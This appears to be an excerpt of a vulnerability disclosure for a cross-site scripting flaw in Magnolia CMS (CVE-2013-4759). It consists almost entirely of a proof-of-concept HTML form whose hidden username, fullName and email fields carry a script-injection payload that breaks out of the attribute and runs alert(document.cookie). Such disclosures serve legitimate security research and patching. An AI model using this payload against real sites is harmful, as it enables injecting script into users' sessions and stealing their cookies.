1) Cross-Site Scripting (XSS) in Magnolia CMS: CVE-2013-4759

<input type="hidden" name="mgnlModelExecutionUUID" value="8417fe0e-8f61-4d21-bdf1-c9c23b13ba14">
<input type="hidden" name="password" value='password'>
<input type="hidden" name="passwordConfirmation" value='password'>
<input type="hidden" name="username" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="fullName" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="email" value='"><script>alert(document.cookie);</script>'>
